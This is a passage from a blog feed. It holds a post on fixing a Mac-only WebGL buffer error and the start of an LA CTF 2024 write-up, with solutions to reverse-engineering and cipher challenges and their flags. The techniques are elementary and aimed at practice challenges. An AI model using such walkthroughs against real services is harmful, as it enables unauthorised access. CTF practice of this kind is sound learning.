</div>]]></content><author><name></name></author><category term="programming" /><category term="ctf" /><category term="ucsd" /><summary type="html"><![CDATA[The challenges I contributed to UCSD's CTF.]]></summary></entry><entry><title type="html">Vertex buffer is not big enough on Mac only</title><link href="https://sheeptester.github.io/longer-tweets/vertex-buffer-not-big-enough/" rel="alternate" type="text/html" title="Vertex buffer is not big enough on Mac only" /><published>2024-04-18T00:00:00-07:00</published><updated>2024-04-18T00:00:00-07:00</updated><id>https://sheeptester.github.io/longer-tweets/vertex-buffer-not-big-enough</id><content type="html" xml:base="https://sheeptester.github.io/longer-tweets/vertex-buffer-not-big-enough/"><![CDATA[<p>I’m working on a glTF parser for a game engine I’m making as part of a <a href="https://cse125.ucsd.edu/">class at my university</a>, and while it worked on my Windows laptop and later my Android phone, it crashed whenever it was opened on a Macbook, regardless of browser, with an <code class="language-plaintext highlighter-rouge">INVALID_OPERATION</code> error. In the console, it said,</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[.WebGL-0x128007a3800] GL_INVALID_OPERATION: Vertex buffer is not big enough for the draw call
</code></pre></div></div>

<p><em><strong>TL;DR</strong>: For me, it was because the offset parameter for <code class="language-plaintext highlighter-rouge">gl.vertexAttribPointer</code> was too big.</em></p>

<p><a href="https://discourse.threejs.org/t/vertex-buffer-is-not-big-enough-for-the-draw-call-only-on-mac-computers/43628">I don’t seem to be the only one that experienced this issue</a>, but Googling around, there wasn’t much else. People tended to experience this issue when updating vertices, but I was just drawing a static model. In fact, I was drawing two glTF models, but only the one I exported from Blender worked.</p>

<p>In glTF, vertex attribute data (e.g. the positions of vertices) are packed in one binary file. The glTF file defines various buffer views—sections of bytes in the binary file:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"buffer"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
  </span><span class="nl">"byteLength"</span><span class="p">:</span><span class="w"> </span><span class="mi">16224</span><span class="p">,</span><span class="w">
  </span><span class="nl">"byteOffset"</span><span class="p">:</span><span class="w"> </span><span class="mi">31680</span><span class="p">,</span><span class="w">
  </span><span class="nl">"byteStride"</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="p">,</span><span class="w">
  </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"floatBufferViews"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"target"</span><span class="p">:</span><span class="w"> </span><span class="mi">34962</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>These in turn are referenced by “accessors,” which define how to interpret the bytes in the buffer.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"bufferView"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w">
  </span><span class="nl">"byteOffset"</span><span class="p">:</span><span class="w"> </span><span class="mi">8112</span><span class="p">,</span><span class="w">
  </span><span class="nl">"componentType"</span><span class="p">:</span><span class="w"> </span><span class="mi">5126</span><span class="p">,</span><span class="w">
  </span><span class="nl">"count"</span><span class="p">:</span><span class="w"> </span><span class="mi">676</span><span class="p">,</span><span class="w">
  </span><span class="nl">"max"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="mf">0.9999581575393677</span><span class="p">,</span><span class="w"> </span><span class="mf">0.999707818031311</span><span class="p">,</span><span class="w"> </span><span class="mf">0.9990392327308655</span><span class="p">],</span><span class="w">
  </span><span class="nl">"min"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="mf">-0.9999986886978149</span><span class="p">,</span><span class="w"> </span><span class="mf">-1.0</span><span class="p">,</span><span class="w"> </span><span class="mf">-0.9999558925628662</span><span class="p">],</span><span class="w">
  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"VEC3"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Notice how both of these have their own <code class="language-plaintext highlighter-rouge">byteOffset</code>! This is because accessors themselves can define a range of bytes within a buffer view. In other words, accessors are a range of bytes in a range of bytes.</p>

<p>In my glTF parser, I used these ranges to create a <code class="language-plaintext highlighter-rouge">TypedArray</code> view into the binary file’s <code class="language-plaintext highlighter-rouge">ArrayBuffer</code>:</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span>
  <span class="nx">arrayBuffer</span><span class="p">,</span>
  <span class="p">(</span><span class="nx">bufferView</span><span class="p">.</span><span class="nx">byteOffset</span> <span class="o">??</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="nx">accessor</span><span class="p">.</span><span class="nx">byteOffset</span> <span class="o">??</span> <span class="mi">0</span><span class="p">),</span>
  <span class="nx">accessor</span><span class="p">.</span><span class="nx">count</span> <span class="o">*</span>
    <span class="nx">componentTypes</span><span class="p">[</span><span class="nx">accessor</span><span class="p">.</span><span class="nx">componentType</span><span class="p">].</span><span class="nx">BYTES_PER_ELEMENT</span> <span class="o">*</span>
    <span class="nx">componentSizes</span><span class="p">[</span><span class="nx">accessor</span><span class="p">.</span><span class="kd">type</span><span class="p">]</span>
<span class="p">)</span>
<span class="kd">const</span> <span class="nx">glBuffer</span> <span class="o">=</span> <span class="nx">gl</span><span class="p">.</span><span class="nx">createBuffer</span><span class="p">()</span> <span class="o">??</span> <span class="nx">expect</span><span class="p">(</span><span class="dl">'</span><span class="s1">Failed to create buffer</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">gl</span><span class="p">.</span><span class="nx">bindBuffer</span><span class="p">(</span><span class="nx">bufferView</span><span class="p">.</span><span class="nx">target</span><span class="p">,</span> <span class="nx">glBuffer</span><span class="p">)</span>
<span class="nx">gl</span><span class="p">.</span><span class="nx">bufferData</span><span class="p">(</span><span class="nx">bufferView</span><span class="p">.</span><span class="nx">target</span><span class="p">,</span> <span class="nx">data</span><span class="p">,</span> <span class="nx">gl</span><span class="p">.</span><span class="nx">STATIC_DRAW</span><span class="p">)</span>
<span class="nx">gl</span><span class="p">.</span><span class="nx">vertexAttribPointer</span><span class="p">(</span>
  <span class="nx">material</span><span class="p">.</span><span class="nx">attrib</span><span class="p">(</span><span class="nx">vbo</span><span class="p">.</span><span class="nx">attribName</span><span class="p">),</span>
  <span class="nx">componentSizes</span><span class="p">[</span><span class="nx">accessor</span><span class="p">.</span><span class="kd">type</span><span class="p">],</span>
  <span class="nx">accessor</span><span class="p">.</span><span class="nx">componentType</span><span class="p">,</span>
  <span class="nx">accessor</span><span class="p">.</span><span class="nx">normalized</span> <span class="o">??</span> <span class="kc">false</span><span class="p">,</span>
  <span class="nx">bufferView</span><span class="p">.</span><span class="nx">byteStride</span> <span class="o">??</span> <span class="mi">0</span><span class="p">,</span>
  <span class="nx">accessor</span><span class="p">.</span><span class="nx">byteOffset</span> <span class="o">??</span> <span class="mi">0</span>
<span class="p">)</span>
</code></pre></div></div>

<p>There were various tricks I did here that I thought were a bit suspicious, so I tried changing them first:</p>

<ul>
  <li>I wanted to slice into an <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> without copying the data (so I couldn’t use <code class="language-plaintext highlighter-rouge">slice</code>), so I needed to use a <code class="language-plaintext highlighter-rouge">TypedArray</code>. I used a <code class="language-plaintext highlighter-rouge">Uint8Array</code> for all data types, even if the data was actually composed of other data types, like floats.</li>
  <li>I wasn’t sure if “stride” meant the number of bytes between the last byte of one value and the first byte of the next value, or between the first bytes of both values. Usually I see <code class="language-plaintext highlighter-rouge">0</code> passed to <code class="language-plaintext highlighter-rouge">vertexAttribPointer</code>’s stride parameter, so I thought it was the former, but the few resources online suggested it was the latter. It was hard to get clarification whether, for example, 0 and 12 were equivalent for a <code class="language-plaintext highlighter-rouge">vec3</code>.</li>
</ul>

<p>So I tried using the appropriate <code class="language-plaintext highlighter-rouge">TypedArray</code> and passing</p>

<p>After some more 3 am Googling, I managed to find where the error came from. In <a href="https://chromium.googlesource.com/angle/angle/+/0844f2db017f42f50105e85fb7e7acfdc62ddca9/src/libANGLE/validationES.cpp#136">Chromium’s cross-platform WebGL implementation</a>, it throws the error after checking the size of the attribute data.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// [OpenGL ES 3.0.2] section 2.9.4 page 40:</span>
<span class="c1">// We can return INVALID_OPERATION if our vertex attribute does not have</span>
<span class="c1">// enough backing data.</span>
<span class="k">if</span> <span class="p">(</span><span class="n">attribDataSizeWithOffset</span> <span class="o">&gt;</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint64_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">getSize</span><span class="p">()))</span>
<span class="p">{</span>
    <span class="n">context</span><span class="o">-&gt;</span><span class="n">handleError</span><span class="p">(</span><span class="n">Error</span><span class="p">(</span><span class="n">GL_INVALID_OPERATION</span><span class="p">,</span>
                               <span class="s">"Vertex buffer is not big enough for the draw call"</span><span class="p">));</span>
    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This is weird, though, because this code is supposed to work across platforms (nothing in the file path suggested it was MacOS-specific), yet it somehow only throws an error on Macs.</p>

<p>Still, though, the code gave a hint. Maybe on Macs, there’s an issue with how they compute <code class="language-plaintext highlighter-rouge">attribDataSizeWithOffset</code>, which is defined in the previous line:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// An overflow can happen when adding the offset, check for it.</span>
<span class="kt">uint64_t</span> <span class="n">attribOffset</span> <span class="o">=</span> <span class="n">attrib</span><span class="p">.</span><span class="n">offset</span><span class="p">;</span>
<span class="p">...</span>
<span class="kt">uint64_t</span> <span class="n">attribDataSizeWithOffset</span> <span class="o">=</span> <span class="n">attribDataSizeNoOffset</span> <span class="o">+</span> <span class="n">attribOffset</span><span class="p">;</span>
</code></pre></div></div>

<p>I printed out the arguments I passed to <code class="language-plaintext highlighter-rouge">gl.vertexAttribPointer</code>, and compared the output from the two models. My Blender model, which worked on all devices, had 0 for both the stride and offset. Meanwhile, the stride and offset for <a href="https://sketchfab.com/3d-models/red-finned-fish-caba782285704b339dcc552b5455d2f6">the model I found online</a> were both nonzero. I already knew that making the stride 0 didn’t change anything.</p>

<p>Look again at my code above. When constructing my <code class="language-plaintext highlighter-rouge">Uint8Array</code> view, I set the <code class="language-plaintext highlighter-rouge">byteOffset</code> to <code class="language-plaintext highlighter-rouge">(bufferView.byteOffset ?? 0) + (accessor.byteOffset ?? 0)</code>. And when calling <code class="language-plaintext highlighter-rouge">gl.vertexAttribPointer</code>, I pass <code class="language-plaintext highlighter-rouge">accessor.byteOffset ?? 0</code> as the offset.</p>

<p>??</p>

<p>I accidentally applied <code class="language-plaintext highlighter-rouge">accessor.byteOffset</code> twice. Replacing the second value with 0 fixed it. 🎉</p>

<p>But what’s very curious is that applying <code class="language-plaintext highlighter-rouge">accessor.byteOffset</code> twice <em>didn’t</em> break on other devices. On Windows and Android, the models rendered fine. I guess it’s because they’re more lenient about it and modulo or ignore the parameter if the offset is out of bounds, while MacOS doesn’t do this.</p>]]></content><author><name></name></author><category term="programming" /><category term="bug" /><summary type="html"><![CDATA[A weird bug that only occurred on Mac computers.]]></summary></entry><entry><title type="html">LA CTF 2024</title><link href="https://sheeptester.github.io/longer-tweets/lactf/" rel="alternate" type="text/html" title="LA CTF 2024" /><published>2024-02-18T00:00:00-08:00</published><updated>2024-02-18T00:00:00-08:00</updated><id>https://sheeptester.github.io/longer-tweets/lactf</id><content type="html" xml:base="https://sheeptester.github.io/longer-tweets/lactf/"><![CDATA[<p>As <a href="https://acmucsd.com/communities#Cyber">ACM Cyber at UCSD</a>, we played as one team for <a href="https://lac.tf/">LA CTF</a>, hosted by <a href="https://www.acmcyber.com/">ACM Cyber at UCLA</a>. Since the Open Division (i.e. non-UCLA teams) has no team size restriction, one could say that our team encompasses all of UCSD. Altogether, we placed 18th globally, of over 1000 teams, and solved 38 of the 53 challenges available.</p>

<p>Here are the challenges I worked on, listed hardest (i.e. most interesting) first:</p>

<ul>
  <li><a href="#webquickstyle"><strong>web/quickstyle</strong></a>: CSS injection with a bit of DOM clobbering. Unlike other CSS injection challenges, you must exfiltrate the flag with a single CSS file, and it has to be under 6 MB. This involved graph theory also used in bioinformatics.</li>
  <li><a href="#miscjsfudge"><strong>misc/jsfudge</strong></a>: <a href="https://jsfuck.com/">JSFuck</a> with some slight adjustments.</li>
  <li><a href="#revglottem"><strong>rev/glottem</strong></a>: Building a list of possible flags, character by character. Because this list grows exponentially, I manually intervened to keep only the partial flags that looked like English.</li>
  <li><a href="#webnew-housing-portal"><strong>web/new-housing-portal</strong></a>: XSS.</li>
  <li><a href="#cryptoselamat-pagi"><strong>crypto/selamat pagi</strong></a>: Frequency analysis, and the Indonesian Wikipedia.</li>
  <li><a href="#revaplet321"><strong>rev/aplet321</strong></a>: Decompiled the binary to find a system of equations to solve.</li>
  <li><a href="#revshattered-memories"><strong>rev/shattered-memories</strong></a>: <a href="https://en.wikipedia.org/wiki/Strings_(Unix)"><code class="language-plaintext highlighter-rouge">strings</code></a>.</li>
</ul>

<p>The following sections are listed in chronological order of when we solved it. I like to work on problems easiest first. If you’re short on time, I recommend at least reading <a href="#webquickstyle">web/quickstyle</a> since I think it’s the most interesting challenge (it intersects CSS and graph theory).</p>

<h2 id="revshattered-memories">rev/shattered-memories</h2>

<blockquote>
  <p><strong>rev/shattered-memories</strong>
by aplet123.
697 solves / 115 points</p>

  <p>I swear I knew what the flag was but I can’t seem to remember it anymore… can you dig it out from my inner psyche?</p>

  <p><strong>Downloads</strong>:
<a href="https://github.com/uclaacm/lactf-archive/blob/main/2024/rev/shattered-memories/shattered-memories">shattered-memories</a></p>
</blockquote>

<p>This was the first challenge I looked at. I tried disassembling it, but then a teammate walked by, glanced at it, and suggested using <code class="language-plaintext highlighter-rouge">strings</code> on it.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>strings ./shattered-memories
What was the flag again?
No, I definitely remember it being a different length...
t_what_f
t_means<span class="o">}</span>
nd_forge
lactf<span class="o">{</span>no
orgive_a
No, that definitely isn<span class="s1">'t it.
I'</span>m pretty sure that isn<span class="s1">'t it.
I don'</span>t think that<span class="s1">'s it...
I think it'</span>s something like that but not quite...
There<span class="s1">'s something so slightly off but I can'</span>t quite put my finger on it...
Yes! That<span class="s1">'s it! That'</span>s the flag! I remember now!
<span class="p">;</span><span class="k">*</span>3<span class="s2">$"
</span></code></pre></div></div>

<p>Well, there are pieces of the flag:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">t_what_f</code></li>
  <li><code class="language-plaintext highlighter-rouge">t_means}</code></li>
  <li><code class="language-plaintext highlighter-rouge">nd_forge</code></li>
  <li><code class="language-plaintext highlighter-rouge">lactf{no</code></li>
  <li><code class="language-plaintext highlighter-rouge">orgive_a</code></li>
</ul>

<p>And so the rest of the challenge was just putting the pieces together, which I did manually: <code class="language-plaintext highlighter-rouge">t_what_f</code> made the most sense after <code class="language-plaintext highlighter-rouge">no</code> to form “not”; the <code class="language-plaintext highlighter-rouge">f</code> completes the beginning of “forgive” in <code class="language-plaintext highlighter-rouge">orgive_a</code>; and “and” with <code class="language-plaintext highlighter-rouge">nd_forge</code>; leaving <code class="language-plaintext highlighter-rouge">t_means}</code>.</p>

<p>The flag is <code class="language-plaintext highlighter-rouge">lactf{not_what_forgive_and_forget_means}</code>. 🎉</p>

<h2 id="revaplet321">rev/aplet321</h2>

<blockquote>
  <p><strong>rev/aplet321</strong>
by kaiphait.
445 solves / 199 points</p>

  <p>Unlike Aplet123, Aplet321 might give you the flag if you beg him enough.</p>

  <p><code class="language-plaintext highlighter-rouge">nc chall.lac.tf 31321</code></p>

  <p><strong>Downloads</strong>:
<a href="https://github.com/uclaacm/lactf-archive/blob/main/2024/rev/aplet321/Dockerfile">Dockerfile</a> <a href="https://github.com/uclaacm/lactf-archive/blob/main/2024/rev/aplet321/aplet321">aplet321</a></p>
</blockquote>

<p>The <a href="#revshattered-memories">teammate from earlier</a> had already solved it and was reeling with laughter from the solution, but he didn’t submit the flag.</p>

<p>He recommended I install <a href="https://ghidra-sre.org/">Ghidra</a>, but its installation seemed too involved: it’s a large ZIP file, and it requires having Java installed. After the ZIP file was finally unpacked, I couldn’t find the script I had to run to start it. So I uploaded the binary to <a href="https://dogbolt.org/?id=4c61df44-da40-4158-80b4-f4155fbf227e">Dogbolt</a>, an online decompiler, instead.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"hi, i</span><span class="se">\'</span><span class="s">m aplet321. how can i help?"</span><span class="p">);</span>
<span class="n">fgets</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_238</span><span class="p">,</span><span class="mh">0x200</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="n">sVar2</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_238</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">5</span> <span class="o">&lt;</span> <span class="n">sVar2</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">iVar4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">iVar5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">pcVar3</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">local_238</span><span class="p">;</span>
  <span class="k">do</span> <span class="p">{</span>
    <span class="n">iVar1</span> <span class="o">=</span> <span class="n">strncmp</span><span class="p">(</span><span class="n">pcVar3</span><span class="p">,</span><span class="s">"pretty"</span><span class="p">,</span><span class="mi">6</span><span class="p">);</span>
    <span class="n">iVar5</span> <span class="o">=</span> <span class="n">iVar5</span> <span class="o">+</span> <span class="p">(</span><span class="n">uint</span><span class="p">)(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">iVar1</span> <span class="o">=</span> <span class="n">strncmp</span><span class="p">(</span><span class="n">pcVar3</span><span class="p">,</span><span class="s">"please"</span><span class="p">,</span><span class="mi">6</span><span class="p">);</span>
    <span class="n">iVar4</span> <span class="o">=</span> <span class="n">iVar4</span> <span class="o">+</span> <span class="p">(</span><span class="n">uint</span><span class="p">)(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">pcVar3</span> <span class="o">=</span> <span class="n">pcVar3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">pcVar3</span> <span class="o">!=</span> <span class="n">acStack_237</span> <span class="o">+</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">sVar2</span> <span class="o">-</span> <span class="mi">6</span><span class="p">));</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">iVar4</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">pcVar3</span> <span class="o">=</span> <span class="n">strstr</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_238</span><span class="p">,</span><span class="s">"flag"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">pcVar3</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"sorry, i didn</span><span class="se">\'</span><span class="s">t understand what you mean"</span><span class="p">);</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">((</span><span class="n">iVar5</span> <span class="o">+</span> <span class="n">iVar4</span> <span class="o">==</span> <span class="mh">0x36</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">iVar5</span> <span class="o">-</span> <span class="n">iVar4</span> <span class="o">==</span> <span class="o">-</span><span class="mh">0x18</span><span class="p">))</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"ok here</span><span class="se">\'</span><span class="s">s your flag"</span><span class="p">);</span>
      <span class="n">system</span><span class="p">(</span><span class="s">"cat flag.txt"</span><span class="p">);</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"sorry, i</span><span class="se">\'</span><span class="s">m not allowed to do that"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"so rude"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">local_238</code> has the user input, and <code class="language-plaintext highlighter-rouge">sVar2</code> is its length (which must be greater than 5 characters).</p>

<p>Inside the do-while loop, <code class="language-plaintext highlighter-rouge">pcVar3</code> seems to be the equivalent of the <code class="language-plaintext highlighter-rouge">i</code> of a for loop because it increments every iteration. It’s a pointer to the current character in the loop and uses <code class="language-plaintext highlighter-rouge">strncmp</code> to compare the next 6 characters from the pointer to the strings <code class="language-plaintext highlighter-rouge">pretty</code> and <code class="language-plaintext highlighter-rouge">please</code>, incrementing <code class="language-plaintext highlighter-rouge">iVar5</code> and <code class="language-plaintext highlighter-rouge">iVar4</code> if they match, respectively. The loop seems to stop 6 characters before the end of the string (with the <code class="language-plaintext highlighter-rouge">sVar - 6</code>). Therefore, this loop counts the number of <code class="language-plaintext highlighter-rouge">pretty</code>s and <code class="language-plaintext highlighter-rouge">please</code>s in the input string.</p>

<p>In JavaScript, the equivalent code might look something like this:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">pretties</span> <span class="o">=</span> <span class="mi">0</span>
<span class="kd">let</span> <span class="nx">pleases</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">input</span><span class="p">.</span><span class="nx">length</span> <span class="o">-</span> <span class="mi">6</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">pretties</span> <span class="o">+=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="nx">i</span><span class="p">,</span> <span class="nx">i</span> <span class="o">+</span> <span class="mi">6</span><span class="p">)</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">pretty</span><span class="dl">'</span>
  <span class="nx">pleases</span> <span class="o">+=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="nx">i</span><span class="p">,</span> <span class="nx">i</span> <span class="o">+</span> <span class="mi">6</span><span class="p">)</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">please</span><span class="dl">'</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Then, after the loop, right before printing the contents of <code class="language-plaintext highlighter-rouge">flag.txt</code>, it checks if <code class="language-plaintext highlighter-rouge">(iVar5 + iVar4 == 0x36) &amp;&amp; (iVar5 - iVar4 == -0x18)</code>. This is a system of equations:</p>

\[\begin{cases}
  a + b = 54 \\
  a - b = -24
\end{cases}\]

<p>So that’s $2a = 30 \to a = 15$ <code class="language-plaintext highlighter-rouge">pretty</code>s and $2b = 78 \to b = 39$ <code class="language-plaintext highlighter-rouge">please</code>s.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> <span class="dl">'</span><span class="s1">pretty</span><span class="dl">'</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="mi">15</span><span class="p">)</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">please</span><span class="dl">'</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="mi">39</span><span class="p">)</span>
<span class="dl">'</span><span class="s1">prettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseplease</span><span class="dl">'</span>
</code></pre></div></div>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nc chall.lac.tf 31321
hi, i<span class="s1">'m aplet321. how can i help?
prettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseplease
sorry, i didn'</span>t understand what you mean
</code></pre></div></div>

<p>Why didn’t that work? Well, there’s also an if statement that checks that <code class="language-plaintext highlighter-rouge">strstr(&amp;local_238,"flag")</code> isn’t <code class="language-plaintext highlighter-rouge">0x0</code>; otherwise, it gives the error we got. <a href="https://cplusplus.com/reference/cstring/strstr/"><code class="language-plaintext highlighter-rouge">strstr</code></a> finds the second string, <code class="language-plaintext highlighter-rouge">flag</code>, in the first string, which is my input, and returns null (<code class="language-plaintext highlighter-rouge">0x0</code>) if it can’t find it. So this means I just need to add <code class="language-plaintext highlighter-rouge">flag</code> to my input:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nc chall.lac.tf 31321
hi, i<span class="s1">'m aplet321. how can i help?
prettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseflag
ok here'</span>s your flag
lactf<span class="o">{</span>next_year_i<span class="s1">'ll_make_aplet456_hqp3c1a7bip5bmnc}
</span></code></pre></div></div>

<p>🎉 That really is a pretty amusing way to get a flag.</p>

<h2 id="cryptoselamat-pagi">crypto/selamat pagi</h2>

<blockquote>
  <p><strong>crypto/selamat pagi</strong>
by AVDestroyer.
331 solves / 275 points</p>

  <p>If you talk in another language, nobody can understand what you say! Check out this message I sent in Indonesian. To add some extra security, I also applied a monoalphabetic substitution cipher on it!</p>

  <p><strong>Downloads</strong>:
<a href="https://github.com/uclaacm/lactf-archive/blob/main/2024/crypto/selamat-pagi/message.txt">message.txt</a></p>
</blockquote>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Efe kqkbkx czwkf akfs kdkf qzfskf wzdcjtfk
Ieqku kqk akfs ikxj kck akfs wkak ukikukf :Q
Lzfqztk ukdj kqk qe wefe: bkvim{wzbkdki_ckse_kckukx_ukdj_wjuk_kfkbewew_mtzujzfwe}
</code></pre></div></div>

<p>Other teammates were already collaborating on this one, and I joined in once I heard them mention languages. I like linguistics.</p>

<p>Our team used <a href="https://www.dcode.fr/monoalphabetic-substitution">dcode.fr’s substitution cipher tool</a> to plug in letters visually.</p>

<p><code class="language-plaintext highlighter-rouge">bkvim</code> is very likely to be <code class="language-plaintext highlighter-rouge">lactf</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>... a.ala. ...a. .a.. a.a. ....a. .......a
T..a. a.a .a.. ta.. a.a .a.. .a.a .ata.a. :.
......a .a.. a.a .. ....: lactf{..la.at_.a.._a.a.a._.a.._...a_a.al...._f........}
</code></pre></div></div>

<p>Our team had been plugging common words and phrases into Google Translate to see what some common Indonesian words could be. I thought that “flag” would very likely be in the text, so I used Wiktionary to look up the Indonesian translation for “flag”: <a href="https://en.wiktionary.org/wiki/bendera#Indonesian"><em>bendera</em></a>. Their <a href="https://id.wikipedia.org/wiki/Bendera_Indonesia">Wikipedia article for the Indonesian flag</a> also uses <em>bendera</em>.</p>

<p>The only 7-lever word that could fit <em>bendera</em> was <code class="language-plaintext highlighter-rouge">......a</code>. Putting the letters in produces:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.n. adala. .e.an .an. a.an den.an .e...rna
T.da. ada .an. ta.. a.a .an. .a.a .ata.an :D
Bendera .a.. ada d. ..n.: lactf{.ela.at_.a.._a.a.a._.a.._...a_anal...._fre..en..}
</code></pre></div></div>

<p>The words aren’t as apparent with just these letters, but my teammates, from plugging in other words, had already identified other letters like U and S:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.n. adala. .esan .an. a.an den.an se..urna
T.da. ada .an. ta.u a.a .an. sa.a .ata.an :D
Bendera .a.u ada d. s.n.: lactf{sela.at_.a.._a.a.a._.a.u_su.a_anal.s.s_fre.uens.}
</code></pre></div></div>

